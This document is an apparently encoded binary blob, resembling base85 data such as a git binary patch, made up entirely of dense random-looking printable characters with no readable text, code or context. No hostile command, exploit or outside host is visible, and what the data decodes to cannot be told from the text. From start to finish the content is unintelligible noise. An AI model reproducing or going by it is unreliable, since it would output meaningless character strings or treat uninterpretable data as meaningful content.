z`0g2%L`|nJ&n_zSPJJ%`>>BeG+ZmO+xwp~%WpVZS^n-E?RYDrIeeT4V7=}n|1@!jN zJK$`fBLkG^YdEWhPa`&X#!8`>#kKuwoX`8dfd3K8^y-}iduOoQ z+B)Kas0hDfR&sJlJUBJ=^a6@hHTbRGCn5Zz=*6(vv7o=r=p}p2v3$GxAkOw4kb_RY zN{25ME$Ajg;ha%A+>}Q#Ni$I3YkuDvLdFrLw1ewh>zCn zi;J)H&ot|G>KAqNN=#;kK9WY85WhDk!&G>RsUV5Dkiw@}kp8b1-~&&hSwLV&lUV|i zw#73^gK@B_+4c%AEUPIkt@pGEcKW5%zs0(xeYs9QVVX_6a5y`)_G!Zei@?}*8}2BLh?r4Xl83`tJ~ZNmD}^v--XKp;8ZTZopuP7 z5-kDU&)3lfk}9{y=Jt?kS)A=r4|%*bFNd^(ZZDeH$SzB=F-Nz8N;bnv)039_d{3Jp zB>ljHRr~6x5yVGON28S)aVcaW)2E)5T%*lUMm`9uKe@=bwiLKt; z+@^xhp`BXnT~Meq7E3Xk#}ZH9=~2G}kN@egpSGC#l1WLP{`&U zJxRG7nEFey`;)f)%p3(Ii5jZuY&^-H)fycatx=g(Jv2BfvC-@B$*ggEMPy27JQiWv zlks=->gr9FZlGj9SL;Hv?KWOi3?~1zt6xLI!MtgmtDP+#SgTv|>-jb0fji)k02pV^)!7h1lwSQ4u4VHr%fJ()=v9v)VJOz~zk&3gF&|JVW%4N_mc^vL+y@MevQ6j$4j>45g99}0*i`0~xoQWg z1Zd!6$)6|}cY<$jJp($G^`*o=OV=z9-LmwB3@6nH`{9=02Hv{>AV z{6fWaUyzY@P%v>DBTIu(5`1lNsl~D?=N;Ct@sBh=G`$D(xu{57_5NJD4+#r)3E>NN zdXey|2dmhC`+cetuJrS~$UOIDlAb#6xd8hG*Un=7i%7|t>DgBU(7E~Tje~-Z3h$%) zwN>>>)_I~=9yV>;T5K|>+V{ZvOTYbH!5B!HnHxh*+`%##^&D?y$$zAl{TXtxA6;6W zl(PQw*_1;~ORj1~r?pHfYHc=K(Nk~hCtpt7NA-+K7ke-B>x(no$BQwO{++L`snKy8 z*C&&{RXW8dRGj@$9i2Qex+0+M*m;stn7)28`3T~%FI>d@Jl!{IPX$wi`FSGxnVPhh zRrJ`LJ5m2jagOFml0rNd7a9rBHBm@x9i6FcoE7K;1$ZdyI(z2wXlE+G!!;Vmyu5*b z@rSO??`R)_Pl$;D0Sr`ib@Z378MUBx^B%Je=i{eE)=-Tfh+lA(P}9O?7r4^3qcynz=5Af1`)4d2}R{ARX2ll(&5iA!#V zZ$@b%(jnm`RgL+B@c8`Y7E4qPjNm?~yPRld26t=h?ClBbwfiNq2!tNmF%+obiIQ(xF*e*zetB^A zP<7sa^*45u0{`7#g?biVT{0HLXA?b7|0)ar=zec5HqC`5G|Iri(8Xq0&Jf!xcjy_G zJS1b~_rXFx1`;gsYmLb=Xy*e1?67sv(`sc?L|L~?P~f%vL&jawR72sPTfUUi8(T-# z;A{7t&B<8(v4@R=)FYeJth}<3b-sA@z=UyUbN93Y$t$!mO|Ss&^TzA*2D6g}27ZL7 zB}~ZBZt@dl;Wl~3w2DBwk}fFwUNrkK>XJcQ_!V1ioi&Q%wz)drX^pyO<7_3%>eEfC z9LvC4oDFANaZqfsyvIWF=hXj)x33P1>g)a;L_`t6LTL;_y1P}tk&+mYM(OTu6@wZW zN*bkylI{`#=^T0p>F%z(N9Fszzq-%;!aFT?%BwOV!A`pj1rdL~HwDf8tV1xPT6YwY}-$NfU>|y}k5b-@neRETp6df9tOdAn0au zo|u@KLCrE|$K0g4n_Vk*#_8#)VS2F0MFGsjF@He-biG*4lUI{yd-?l;tK;OcWG1<$ zn)|+aXYN_m)MW;sF-%Wm)ns!n+cwx}wC1%uMjW4<1Src}>>TBJM)wS8XxJimGCMVj zA5^3~KE4o6jH*wk>S3i7pY*wpNS=~#k*r9)5R!C6$mtg|Fwpa>KFI$b?KKkgv=dDA zIOd0FpUy2Wo506k-xe*@GYhPv>w+k6LK1J?XPbDvs!kug_W`xJ*j;&+kxyaasVjyU zQ;$zAiAduf)>c-};rDW_YMx_~9Z63yA&VK^Yd*9%)UVnKe_PuqstN?=^N2E`u=6kgxh z_$u`9ZdnE1#b3*EyhB4OL7&PFRad{dsLsyby`9mf_$7Aqn4s!$L1Na+wQQXf+?+C$ zN&d<+@gT_^vL1a8NYhgUto~HN@tR%$XTm&2o>%+XqKS3!z0iW;H22*DrddAIa+Qmq2Llr*iBr56F#)%An zldQiPszLN~`Pr%r4cBfpw5H@ZyrDJcbA0Tk)*Y)1vxVNb8E%@s1&Bt8S$&ZsSBZDPNz zNS~ILz(BLnaXB9K>h%W$#r##CG}jpR<3 z#3yJAOB-sgg2%q==VI1K1$2qC*i_g2>nYpR{WOn)CbYTCW5=-fq4EQ=#29?n^4dgz z=Iz51e`VG5zVJ}+yqxGYzK66algWH>?G)K`^-EE6OKT3??NKcSf6&@AQ^8=p7 zs7hjA2tl)g5PI^*4%{a+bQ9;j$_JbT7UMal${wd#yw>D8G!^L{?nN0)HiQW%& z`y;|&BJpE>@Q?koZyj)&c_{`nzEt7T53+t!P-k~CWe6Tp0C4(YOnYix($XRo27$pX zV;@QTy7dY`SFhmlU9duQMAedlH5Z=IT!eUE-SLA1ZS2IrRy#h}pDWK=bzrOI8b}zC z)9oc{0#<{G5~?}0IC<6hM9x=|rYL>iT8ZDKO1LWEaU%hkpxVdNT4^aq?F(xMC@ZtA zI<)IVv_{eNE^-vox3qKX6Bq(sW)XAJ`f4&t&S9+h!{v{bsAjEChGw ztKcdNz)=b~jmXi=9Grio*HimyGC_xvR*1ra;)JIVAWERqde*-*OOB-C1;uC1xd3M; zuyOj4vwF?o0zj|rp6geHE3B)PzVyC#8D5%uWA)M~ak8@m-M@lP1{y#xW!~9yXGB0T zcuKhqyce%oqj{V)qVyKUdN`t-KH%k^wd)wbX%|6e0D=?U#3ykdqP=Dh38)^PibYB z)|jEsFS9RgQQ-=%j3bn?MV2%(+zt*M0oGw=z5TdO3p#P7M+*i ztqxA|P`k9u`fs{p<}}ylr}8TgY7c-Xr4H{r%V=p~qEPR=825I{t)xw{`;jpr#F*7_ zXvN{IzumtNojk0xC*Kh{sHag}UVLBi3eb~WO75D4IWc^aJTWT)8BAR~u}052GLWMR zW*6r1NK@-Cbm(KeW{_Eyy|4>`%n_8N-gMmnFZZ-2vs*0cZTNAutL-DqE?tB`x}FDd zaahPU`*2PPC5cF>$3mxARkb}sT6?P?a|LQ8vb{jQ!2mNSP{f8jq)BX0`~qU-9GTxB ziT>6ay1I?i>=p!ge1~c^%v%1c$wg(X5Qulb?KJ#@n@xN-K-V=XO><|;Z$l5+%dY%x zHxMCIBeNhh<$ZzrcE`;zI!G5z88h2;Dhe8?>+BBUcH7dKC5#F_%B=+-btve*3jxlO zEuPA9l6T4&-? z1i#OL)7~t;MA(?`F~$D=Ma-I!zsvmNVQx0D#e07bAp&<8|LwcW_~+-ld}Eb-uoSPI zS2&?Pr>uMaC8RXcNQw{~)y7>y^T?uEaR!Fk6?A8M&Hc5MfJz8{54(HN7*@(!?a>=ukY3UM*EkaJpp4!2uQyZ(x*sk^) zc8yc1Ikrwef&JB^s!RmFA+!hBG;ZYh^{V~m3iT2vrO+lbs23uP81GTst2N0O_br3E&UDfv9$c{FNCw?!2yCUH|;@2Sq$0HeF&Trnv zJT}B$J&SmrTEDmt`UzUif85*KMg6x~McAG9T|Dr_uD7w4g}pNL*Yw zC!C|ehmB^d@1g=}dt;&tt^8-Vou)o+M7s=yN!IxdO#}ypbW-NO{03L52eWZOSk#5flKkE_r2E8qeu6k zx!EVR*-ex@R>kEyVOgNlkW38S5`-NHl;UK*I<~A$mgk`RJuN9bTi_AN|bNRlL4Go9~i`xm0{g&v+UwH8<><5hFB9VxA{7DWE|cYMET{%J4!_I zXyt`8ErF+qS{k4emK00>1Y9(5}Zrg9$vnPBii{0sNQg2=MiIXp|eD^bYmao1zH+u zMC)7Z_G@_05UTJOk(5U=+G^JD;uYa^RncRe3W{5hu9xo4_ELmjpigdIV))4`7DG@f zV(dv9LXUmBk5Og(WYR$58fD^ovghISs?L1=c;|q(MrvVtqnJ`gkfAnD!{=?*Y$mJ1 z@>gw%HyE;+cvWmLu2P96heBC{FOc%kZX*+kveUJqCS~B+V+bK1GfUWB*R!;H&!2aC z4%_fOY4YFX0zjUA!(-=6g{enaRc-({|HY5k?m@M+wK3$UK(LE)uVsv$%tujx7XxX_ zJ`l=A{L!TO7z6?+S+kz~R={K?16D3zE<%lAyY_f|>6uCpyU8h-)RJC7kLwWujyokq zjaeh9CX2~7pw2!%xxX|p0C4b#TscnKolX_K+6@6)+pV}mjDH2pe_FTQCAyu^$jCGd z6%x%MHlkU069?1#!~PmdSA^I5q+KU6B1c_5+94|5V5d-7z;?PHPuWb!K3NRfnpDw? zF@m$15Fr4vjPhy=Rntwd)3Or!oPK0ZvZI zlFb%y2j}eKgQ>v~+{+d7!rA@UuUcbzfI{Qi!bvlN$V2zmyebw0GC4?7Uk1$WUnBIv34hpLN0GWM?B) zK3wZ%Np!xOvA(|!oI0&}8wlbfk4{fuYkQ3m6_c-VN-TN}thqln3*0Y!9 zg=*CTvcNXca~pX7C7>6O?2#Cf(u!Go7V)d*4=ajVaNyIHHltmbn)*63Gm}D5!4Zv$ zoDu?z`mNsztczYjuU2;S26?)O`lF?4C6jP+hl`6=W`Sh6q!}7?K`PeX37dY;cMh8p z7JJu<8SnEvuPHMs&qAU60`Uh#BRx|oM9KS)1yeJeG{eA!1|=hbo*;dxaAGxvt5k;- zHqd9<41D^%vn-SRgihX7uHokx7Djy^P6$(0A4?s$0GW&K3cjc1WuZkHv9fTaIp!s< zmba?0ogC8S1;{)ut4)eD=6*7=J1Jfro-HPT>hg?kMS*~N4saS(-}dpYs%R?ADm%SG zkI72b(gL$}^7^K-x5Sg3McnH>1&hTL%zTzvlHXKD!Zb#AAxbA#tf4I(%`hN_ z4NVe)vi6bTYO%DNOFF((z`SV->%j~&UU-TFZtxoRWk4Ked@KE75IPU^&h0xlvw-ts z2lWDARKH*-APjmHVn$DOYXe7%Y-__M308BdWJ_gq%;i8oxu+(eITX%# zSDqVC3VvB!Bt39;qc8dPvc_e`V`iFYaVVivQPv{cP-ORwBFlV+TbhpEHuqk!8H$;cdP2e|n>JXwHu`8=l!$~h`N&A7uQ2c7c4L00;JP`) z+sya<#f9zfFbx`u8L&p-W6Nj@;W zyXqC!y(sd5U^#o!kAYeHB)o+wTpdxY@b-wt_-PN0`q_y#Og$UJzu9i$p#)i;hkOxN zKiN?M&(A=Y`+`@~g zwAbG#QJn4iR9n#P(lkC>x7H4m5oBYp&Bcr4SQk_Q0!|tt6uG~kY%@7x)Q1YW$A=l# z3HK*pSX)$A?H5e3ocf4A2H}UMwG!4`_C;nU!Z> zcl`oeP#+(lg#@|8Y*^?YF{%Lbs1^1(`A0gX99AeMCIKrdLYr|E(xN(nt41LZi`KVz z1DpyVjD-$v=;A+=?xP1neJ{1FQJwV$0>W! zLY4;MFxKi4MP8xfLeGt34L^Upf%Yk>BI9Lwb;O^|= zmKNEl>oLIePNDrq<|u#@emmVqhVTkCz+o;WhB#yyXe=tuo#>CYHx>h1X9AS&u=~9# zEmhSv5JbFr%XL2H+K9R)v2(-OqRMx^oUF*joML%Em~0Cl1zy=&Ss>Zm+~n{h(&2p- z&6t4rp z;@(3P4sUX5FVQs;Au-@v8ZF<#bYX`<7O^$9(?y(7gVxozq=G^cPI45Pm|p2^#E+!5 zcy{(hVdSk^SxX0V*Zh~ag^p8lDVkkM=!cJEcLQstA6ua9Ud#}Mms=fPOtFv~h<~dV zcz8G!OU1~=_oC*k=>sxfrD9Lwf|y{r{-7?+kEZ7cmMT72q;~9L;n~|1GtFp~c|bob zVL)2Y#WPUe>s( zsx6?eJ+~%xc1B`6XYJ(x2vn=c%CesBj--ysR?n?DNl-~?9RgN7-t$$+Y-dyoCO%>Q zn~%U62bkbC$qi&iXroE9AnVW98C|`sOtyHB_zvCHl3*A!pH!2=IKaRo@Vv^kQJ_c* zkOCOWQZfM%;7Nu-bAT5x+3(U%var^(OQl+w0U=rcftDBV4djKv%Jz9K01!Q~r6GfoffEg0Rz;^!Q+c!~ zzs_s8g|;cG7x4JMYP~ByA6HJJ9%iXoSV&zp$o*F4@)Xjge({ob&|}?NZgTpd7AB%b zOwCOn;r{(oTVBZYpVk(m`AS#Mj@6|IuV4gT-M1F=s|z2P zN3NqfIssSW-^Yf(UDxuDKqk~-`oGUvd$I$9`@D!9-Dmsf@4Jt6&;Ryjc~^V>H$>|) zhHm{+%CBGe-8jtAfAoz1-TS@%`&O8160iPGH~7Ihy(8%&tkk*h(w-kpxK9psV~cHJ#)9Z>e^zmE)?=VzEh%sOy&{qG0b3XJsfd91?7FvM zQ4s~RVjY!g1sJP8#k=F9^5eLtb|AJ72D2~lp-HvsozWyW%kpwr4<@<8Y41Kif~jSzZ=oHl3Z27EP0bws^VC7}bqMonW%r#{IjntG zr9ow1{D^<8zv`+^_=lmaGSO-k)gWRfc|t;pHjx~oF-@ckXIi>dCo#0A!pr$tjq3)5 z1N<`TZHb&p$v54<;ljfsul~ZroxejWruu~8{@q6!WlA$fpSPVPUev~2ICkGg^`pyQ zjU^OreW;ISe^toB$A6z{VlIi5cdcgyUX}Rf7l-hA5)_$})4c+(N%V3*j$)w_c*Yw@ zMGwX3W{?nJI;+PzpCBy~nhRGg2=eOP4=JZk0q+G5; zK`F$?-Bv?WewO94DPW<@CDrLnibq%YPi@hr`i$ioz0S5nj0lqx59mS}Mo6=8JG zjW6PdbBNBcP*qG!&VC^ntK9enmBnD0{C`1U(1IY*QY%(W_saKMg;EP|leEDmt0_1~f56rz6SB0T2iJP{=f1!?pPR6r?`D)&?Jit259* z1-M?n*j_1TCCo1c1AEW7muOMt97rOz;WP;* zrxd;0yGnLps>;X~hM0}fa2<8dhYRbfck}-QxM5kPWtmkB{DrR@*;^k)$6QPApRQdvO+9dY5$QSGfRE9fmY?}-v<)A`k7^a zQP%C`S_7QPX#uP9LsP4jE0Vfd+c<>#q!j5y8Cvx{HF~+ca+5Nzj^n_knUh~~42m|u z+lr)y9lOP3k-^!7B`Ekqg{2Jr$34pj8m8Kr`*QuH)*5f(Y#UAQF5Lrr#7cQ z2E|)H60N;wg|2*tmPHCXoK3rb5-!$>37Xy|!mb{mfg%_pQ!-7pdQ}|-FI+?&ZNbXy z)7&NLTAZFE+;bM!c5B6qUI7zc81c75AciAxM-%eZV!EF(bUB_{(M!QXEf7GG@aANE;J3-ub*F9D?7~0rpsFR zlYEsmq5IP&N!)y4?x9$P-G~Lz9GxX>JRkbFt)s1@a!HIGh4wRk2ZPkC5 z^dH+dSLJvW|KhQIm}$PW{)qES?jag5dqb*vXfgM>aqEGbuWZC#Nrr&16sD;)G%!q4 zNyc?xX1m1$Z0E>>FE?srNeqPLg~@`+aQf!4IEJJW~9Jtsl;*_a_`6XN-`N zd6qeC*0a0Hk9Ymb!?8pncPwpdEShYfh_kr*KwWPm z#lmBwWPugj^J^{UfDnbZ_RjDM!>W}+XN1e)<_k^ARh&}X5_g8KGAI`r=2j|}w?3qO ziseLLwe6leZLBsx!KO%f{>0w>c1M0#ON|d1y!4WmeeXoopI~$acyPt_B-Lg&=Su2~ z z$Z{0%{h9@bg*RXhrkl2F!?JBW;~mggIHSBkRPN)II)%09sCBlSHwH4C2s$a@Q&msu zW@L>*t;a)}P%_+eX%oBKo#W%vZ+#J$eDC}}#FpZ=e6T)w|GqosN6xR^U;hBIiP3I) z75s@XA3dr0?@KwsRxiAJcUyXFJ!+1xuAI6*!41S0lUny9RQj2vz@S~IUHs4&&ugDy zDASz5{orb|_5khiWTtY_Lk$u7yv^qU=6zB_Ju9-Sj2h)yGiHv>XZcrev(c-~>go(- zqmcW%iO)p`nc%vjzQTNRlnUaFcFV=2;m2lgg}!6o=5zR#S5=&>m_lU*n`wNq%KsMy z8uMJhj%(YgsnGEqDnl|A@mUc1`}Y)%kICyoyeki#BF~6U^r5ZR!`kc1X$b0Zf7fQO zV=Q;mG->XFpExv zJ%jfPo!WhIWHU2tQl}qTT=^U;RPi<+yIMcC3$mTnZb15vSc!37C!W`Lzi?7?7{zOE ztyJE-J64adpBqmww(+VK87sdhqAp6_tY8q1l1RGP6=HrQ_w&rJ8aeDB!(EnQvDhj| zuTms&M@?k>;SkNzDtY*+Td1;`l_S;eqB__Mh-ti!a&vu8#lkb@{U4*{%>!_7gO*3L zFUAH`ZPuA)qrcUg=sY$L^YrL!S3hl_^{CvfARxW(9g%-x{kS|a<^mmU=6<$S^oh{; zJslSExgqJA|x!N$@Utu((d?3hbV@F z$a+R>Xr*2LsP~1eWt97+Cg>O?gHC}okURS6AnE9X(Q+7Wyl_2{{S&0AG=qll?^qoK zQcB?CBlk0$`_iI69$~jIZ{R>(*3@D1ns$E}<9oA1RAh06JcObt-w^JOE7{5@@)#CF zSb~JNtVm7s=9j!l)lAQ)8PVU|3*jG>FQOr8UrjPKig0I@3qA`!fgQWXE2;n0xrL&0 zwPIvB3=(q#f;kn(9v(Y2R>dGsD`RJT4F!wDU!8x2WlZB1E}J4pO@bGknKRHTNOCe+){Y3-3`hlE%2?QM&R?)qAzt~)U8HtM7DF!4hU9KTH2#5 zJWT#faAWMWS}|EUs8k>}^F#|N_D+N2)llF*C|+F<@$UHUnEb+}M&p%`<;(qnXdBHk zxchV=NH4k%vlIb;Om4*<4m!xV$TL~l>YV8DD%Y%fujs~adiL5={jFX{&IfCWH(Q$9 zXLkluy+OhwWx(COIrbPCBl&X;WFmH&9yFVuCg0QUWxo}NpsSGaB_|XyCe!tK3v;=v zK9Xl;I2V&3>umiZ=I|Vu#cBxo&z+SdHF?`T1>h>z>o{t5%rRTUbN8-5gz6({1DF)y zIp~>q9B*Xx#tsULnknSIglu7AUbO9<=Bn#IQ(CFlw< zj)HrgApGEQ!Oi-%kB%;YCbUp%bE^;UDQ{EO@&D3 zRq_X@l(rm7>(|sYlvO*k$Trt)IH659;-)@3mODA1{H@g&4~DB z9zzwoWS{60?7~jhRO$CZ;L09fWyCq(OOH{ulSUfZf2;geuaCDG-sx>T$37RqU{$9$ z({WP5P%WHZ`>B~j>SAmv-Jb>)MmlP-vu$kNAm!E%#so)uzCh)Us>cvHaYr0GI}!HT z+9i3yA5a?r* z-Krk?=TXFBillXQf6YAH?tAORAd)&_GNLKK1&t(-?GY}K=?~GP+aA;z>q4?Z{q1rN z4px+43I?c$omE5KPq4~kk;43Vk8%;q7UqEtk0?a)boCXyD|lT$TBVG8X6lKkdS$InH*R2(Z0_Vfv)j8a z7-#0`nZ_U;M>j^=Pi`HVaI&$sVoMH@{nr1pe6Q5~(vP1JA&fw_T2u$JDK{yJA2w5u zoC=|)BU;veJ$2c`kKFli3lU4VZ-Kk1T&^D@bX?Wx`V+`spea6|^WFljT_QZI0-l*V z_*G0J(EZR+RpJy2ijYzcesEVVTv=5war#6y@XcQ(Wb9>0h%dA=!36D@@^X2STV3pPB-xihV6|awJ-|=FQa6|G{F%lm2B|h3qx*t zA6aX^smZXUo{ocTpirA3^Zrsr`O+aH4HRCp9S=^lpKKJB+y2mXadn>8-L(kJOre#ocD?{Cr*F z*c9x?q;8JfFJ@tT5vqawUXvAW)M<@_4n__mo=3+0#r1{pBiPt=KBoxk3iQ~oxp?}W z7pk+1q}W)VBI*^dKHTxz4EMB|+rh9|J%r@kyUb^=L+>zaWkwIHr_G_cJd;_V3%NCw zM>-w}HqUC}JqlLi9aB8d4!yYc`psYpCaAa?PX$15Wl+ghYGR<=;pxL{(udvx{U>zF z8Y(p7(yp!fj&S|#5F_(+A-%`S+a;{9B2Ep&v}kIAyVS0wGGi?w;!BsCWUH0)8;0t! z+(o^HO{x+3er!7ZlEG=O8Hmf%O8{Xm228Qx?*DXqQTSYR^Z`(`)XiYJi1Xr`DDRj4 zM_kdjsq^>gt?%2pQOswQ6%-yMMPde>6z3xa&^N|?!Q!r)b%KFB#-b`3fyJxB=^WB2 zrxlh306K+*5wk*DSXoeM;}%x8ZwDvWdAKcr;q}P(i~%9Zogd?4AXJ-!!rAEdyL_z& znOpMc=&29j`4z%pDmzO=BV(-B_|68GXopvdNntDLS1&jdF6XHG!$6{cpkcURzW(NV zu>AAb-d;0XX;{(1x8tVWNU4tr&+l3(g0X+#<(B<5zDyxrL7YLWGEc$c&3lZqtj|N{ za~Xd?%{is8jYf<;~>EuSycqc31tvHC|+4hk=-t+Q8^$&NFlK*662!WSGZtyV(Jq2-+77>MX z#3tU!%3IWPv*69&NjKmwU3q|lxChOw9!-SlSQ>XeiI3C-FPDt8K6!Gu*FVAn)06RBT%P?zilsT@p zDj!xqVPMH@4W+vIGLmY1qg410L6y+fsTa}gzE~||7^N=|p4Oy)JQpBINX7(JFEOcT zZ92+yutMHrENLdip0rUoJee0%?;HP5bd}T03#qM5W@!yEZ$=j`E7ji#VrIFKpCQegR-$#3XF4 z8iPd@(*jJC%}e(OuXt=QIGh7$h*7_#kI&Vd>L;AE@a~i+h}%@R3~p1g&=<_-&5Z{u z-@QHv#0q1KQ=WuUL%~HTy-rq+T?dB>(Q&X)Uqy~w{a?1rP7P$o{x05j8Wne_v@0LT zf|O70GFFk)nEvX6fFN?gFZ-V@8+V6#=@ufOs*kAI#GH;dN&N2q4H`hYE*Uyefd_k# zVfp4vW_Fxg3lWf53sSzePg}U4X{OiPYGU5}_8-bf7n#_LIbyE~N<9sk@INE<(Q2p}CDD~y+@7d|{ubKN;18ZKK4mb-mBv&EEC@ly7oZ4!8Q3nUx% zav$l}-Yc_u^D8Nd3&6i5uJ?O>Dd>1b4R2`n;@dlnVV%|A*D-9oFmX??oq6^k(wCtxmB)eZh)vGL% z4z)efR`+K(4_&2Qo35R+l-^sl{I`gM7Z-1k^E-YwF{pK8>`~TK@f;36_hcZ62gBUq zFYH!EBTa78{Bt(PPA>bOSRrIpLic<$|1Sn0H9Xos{Tf z4x*ZaY$cs*CBCB$8A1=S!_P+35Ji%R+iae}7t#oLhCx&sxjmJQ9CiMwmG)Qbw*T<+ zk()gnN9TSkeH0}_o2KznGc5IF_cVx-62hB7pA)?ELGysR0Ynj#-p<@0NeB22L7m`< zHXzstHPZYnr1vB)UI(xtO=_oZA+#Iqmq-j2a;+30xY^$qoIXhvP5!nRq&W6z& zH(EE3B&kgS%palZ{#i!6dXwb(iqPz+;tcak+@vLmi!pB5>%WIqs6!iz++JP?lpU!3&6Ld5UQi% z)I@zi-IM_Um8o19{lxI?sD~GnV{}&g#->doI)mdKI*VRvIZOVL`YzIomju52JNAcI zQ|A94WB#)Or|}IKYLBW(XKrk{>egfLchqecFEcI&$|&3pFSjl_E$>_19T+yv&d#>* zLYZn55}0avUnLU19@Rqm>d6JH$M*#9PmN`{d3sToQB#X~wP zx9yyBuTJPAPn^U#ZFyLB+pF|eX5@&3yvaCXEWJsLqGa#|lgO&_a_86bbo_)C)6uE= zycr6tTGCnRpS`?T+`^YSDl3W7-2Ku2viGJQi?S>*-^ z>C=q%jwNZ8jqXL}4m}tO1-2FUJov8RTwby9*3FW-T#0ywh$w3??7RP(yJS(lxaNS| zvHe*44|{@#CEtj9x#H$roI9@J&y!45Zq<0wc%xoV=2aMR*cgjyW~l@j8g4AVf$w(< z7kpeBzT#bSx{iIiw`PTikMeL~Rh|}5$UD2edLl5z&PUp-0&UoEhm78OXtQwh**ukz zV3RAgg9GiQMV9rWF_FuWa;JQLE5z@87TEIMA1Jtdg+K;ae4J(Hp&N)W|Hfbayf?um z7thxE3g(zHe-!7@vcHJalBu)Hv|b>6x5kWZ9h+A&c=XS{+>!F1e9T@*?-8%>+8d!} z(Uk@6!lD&cJa%b8hHD}Cb9wLq^O+*J%H+yI9VdKD76#+q6FC)XzOpgOX~(4I;#*na zjy+!H!GI#b1=&R|H>b)sS4PsfmX7Uc35{O923vtG-EyQ5Xw0o~AR|Nzg;quYu z6r1#b8CMF*Pg(!^k%j|=0crCIzcwXQ)b~tX`XF8gQrWmutLH3}q>W{eNqA#@-B{?u zQ@xR3NmRyz%ErCKU(W~()o8SDxxKo!QKz8pS;xmTwpzOLDbabuu|xR&%*U>C5cxl`$Oe z%CE0gET4ZFo=kMwd-Mj|{lIv~P;TzddiP>GIe%0`qDUTQ?5S%b9l(CX0wvx=WKJRB zs(o2od;V*U-EB+}UPYn3WjI0`xlS%SNwDk#ghY;(VY{zmL4Ncmni~o!8Jpy5VR$4O zHbZVW?s2o;v_Uw}?roZ?(OsqL9X_x}(d(VPts#5F4}PO^U+A*#muy~G~)VVk1NZhg(Poe~?2 z*6qmfS9x68F^@R7uKT~bU-E6REVuG2A{ZhHn9U7)rzRE8g+Ph7#~#hhLL5I^**q)Xd~?*I zB*!E4QbG1KL6wgxB4==JG)E{}deurqWL)|tSn3Q@LU@w>fZ%DtectOZb2>R&L#nm4 z`N#tY4u7`MCk{{64z$*nb)wtDe{ql z=MgL7W}j^t#I0WoWBjoajMcy9o6R{2wn&7(5oQ)I-)GNZoUA+Tn7b1>e0g`z;OSZX z^qo7mZjngZsL4L;5zc6e;xxIaB#Ey(@I~+V_;iR*CY0**fE$TK#$E9>{V=^>2K9?BXcv4_4kt60U-!JhSPUDc8<&G{jDumucPbFFFuR?Iq1=^|)g+ z=v*PY(AMyg`AB3x;)~zM*bi46L|tTV-MS?swG#PhA-%*xV4a{kKcyj{?McVk+){)N zcI%KuJ!COL-|UOS(D|sbM13;pKUTBTN}jz+Zd78H8~HgzIA>l4NnG0KzP@yqULd>| z==|;sa*_QV{}qb(e|4+oOrPEaX~9`*`|_EsoqzjY9a7f)o2in2JKgydczNedb-X@xO>wH%YDO6NN}A`T|c zmyNYGVX>9{>dUJ3h#e?vig!a3gmZ=~yj!C-=TBwv-FzP{G`IL}$au=ng#JEQ;nRE3 zGnlkb=gCj5I1P1`^Q9Wqb*7GpmxMXUC`{-rqKQBA7(N;=_Yk-u{B>h*!?1q0>i7U9 zVLn)0!dwqlq7V9c5&zb$q%rQZ;bgIuylCOZp(p>`^4BPSU6~nKtcIku!7vj$n?>7; zJ3?EbmyRR}mRo=Ncto94(S?zNT6h#g@zXO2*aC-@y|3u<-MaWs6|>8(P25*0W4IZ~ z`UD5Rf?C$sDL5f7i!HBu9qv8$d;Z+zFz+Zz!1c1I%eo_v`I)SSFZgE)*`)8@uF^PB zmr@l)A3Wh#sP3z7lu~ z$I88=81Ko`rvmpvU13-|H!to8UW=tTUz@r|yKVTnPjs@kny9!KdWz8r#zn=`HwmnT zdi&7q_YNt;m79+pK3yo-;QKp?LW*H)U%j*x6Px=lsK%2U7yPJI72IWikU?1Ewk;Cx zVQ@o&Cgpg#ZUi!D$5)m89n-gsE*s-N($$zR_ohn|yoe!6msW^rx%O8co{gAwxs|Sp zTX=|R6?qTob`hC?I**-14Z!oH29mTCvOggsciRp3wIFKbZe6!;D6-QnXjF-3sx5>S z+dh5pVBmW1#d_n<7|xy? zt5H_#UAnT-y?@}mfeP{vI%;{$V?I8j@~TiEVc|*`6T0`;*8Ahv3=#L%3j znmXcx+XD4)w?+>9pLMob+8-y>xPOkrg=^c#`&5;4nvGsR+?j98zb5FsP({=pr22F^ zAGLEMJ)7KnSW_&N2HQbd;2i5@&s?~BC~JfkTbYWe^3RjKi47iGhK%#w4XDS$Fns_^ z++(c4nCOmuH!}o;aGV{aR`YHJl1#;RR_G1$1tqi?K2_8i(<(1#er$0gJDmKHrxh-Y z1gE1(#13KFQQ-W+EnmXCL9S8B%L{)3w#Ilse^xS0Q#r0aM@%=3{2< zz8YZDmMsf5456yst8XoWn0s8YNzJvg0Bgk z+zJ;ivtijSuVeQm&4g2w9pJ~yLT6wBU3h$-_x445fPuIGf_FW zrxNcrS9?(IXHKjFa5TFIxtmh&!Ko6fw(k3&`|I6TWLF8jURnCbCG{E3osI2(Rw}~@ z3mZBRn7RJs)~}6Sd)#{!i63b)OI|1%&P^3*9CTL|%#Tz_zx^Sm?97Hv`mR>w!fQg3 z2JLJ!JPy8CF6CSDGWJ{#V%FDGXJ)@nq|hrh@fzwQaCb3oVh(-WSfLu)lj5dcsGi8| zimxn4j=zYGi=m^QTAT8HMI1J~EF09`!TPn&u<5nQAl*G7K8P0;>uNlEM1@g+1)KJ{ zL4EpkST&QEs^iqO+XXKBdG8h&in%qo*T7Kle$c{HEc8uz%DZxVycuvV(#>l(t)HNz zq0n9tqMp`NTlTBm@%7=nc-DAcf*12?tjWXBQoG^Lv`z1EaVM5$eCxZ}GDCHgWfY(! zYb@in8VT8Ed4vDD^K^^a@Yb}0?5D{1Ucp4q-bn!~uk!N1ui#DmklV)0z`f!lC(z8| zKD#Z1Mt^(BG@U??m1tD*Y>wUgo0ykjAlVyuBrYdN>HnIK(E89r*5tU{$HJgK{OHFrbO7U9$K314mycw1=hfMr3Wl$7n)X$7U%Cn zDhsXYx5iK2g;s^l>%t z_9&DjZ3ed4$weITKA7Ajx`SUErAUVD=3q3db4kgxVCxV8OE%)kdAZ;8-QajVUhQ}# zjSv!SJ5NleM8GY`@>?HIc8+Q9&Mt9)6o{4Geg;h>bB7+%B4+)22;dzavPn z^Ff`Ai~$RJFyTuF`3%hH;5QGe%=la`)?4-8ykB|0s{0m;Zv3XJ+b491Ep~i3c5=bb zOc|s84R7;BlH9yecKG?lUT6~+JA0jdpJ&wPAlH#p?6rxXj)5weyJ&))M1ju0sqJiv z0jvJ+A30;aP*&`pw!w5=CNy)8xKx>}c&#eg^li|0U`~u#|7|tsh0nu9O@9sU&mu#8 zMXF=>%8jiJLw#TrJ*JWt$f!L27js`76=nDRJBY%ol$3y!lG4&0qJT8gND2bd-7V4r 